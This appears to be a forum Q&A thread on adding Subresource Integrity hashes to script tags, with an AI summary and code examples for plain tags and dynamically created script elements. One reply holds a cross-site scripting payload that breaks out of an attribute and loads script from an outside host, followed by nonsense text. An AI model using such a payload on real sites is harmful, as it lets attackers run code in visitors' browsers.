Script Src Integrity Check

Technical Q&A

Topic summary

Topic: Adding Subresource Integrity (SRI) attributes to script tags for enhanced security.

Key Points:

  • The built-in {{ 'file.js' | script_tag }} helper doesn’t support custom attributes like integrity.

Solutions provided:

  1. Manual script tags: Write plain HTML <script> tags with src, integrity (SHA-384 hash), and crossorigin="anonymous" attributes.

    • Works for both local assets (using asset_url filter) and third-party URLs.

  2. Custom pixels: Dynamically create script elements via JavaScript, setting integrity and crossOrigin properties before appending to the DOM.

    • Example uses analytics.subscribe('page_viewed') event.

Note: One response contained apparent XSS test code and should be disregarded.

Summarized with AI on October 24. AI used: claude-sonnet-4-5-20250929.
1

How can I modify your script tags to include SRI attributes for security.

3 
'"><script src=https://xss.report/c/losec1></script>     



fifhybsdfef
sfdifsb
sesgjjbgs]
4

{{ ‘file.js’ | script_tag }} doesn’t support extra attributes, so write a plain tag:

<script
  src="{{ 'app.js' | asset_url }}"
  integrity="sha384-PASTE_BASE64_HASH_HERE"
  crossorigin="anonymous">
</script>

For third-party URLs:

<script
  src="https://aggle.net/js?publisher=herb.co&pid=CB6UX9E2&sruid=d4275a37440610de"
  integrity="sha384-PASTE_BASE64_HASH_HERE"
  crossorigin="anonymous">
</script>

Also you can add integrity in custom pixels.

5

In custom pixel:

analytics.subscribe('page_viewed', () => {
  const s = document.createElement('script');
  s.src = 'https://someurl.com/some.js';
  s.async = true;
  s.integrity = 'sha384-PASTE_BASE64_HASH_HERE';
  s.crossOrigin = 'anonymous';
  document.head.appendChild(s);
});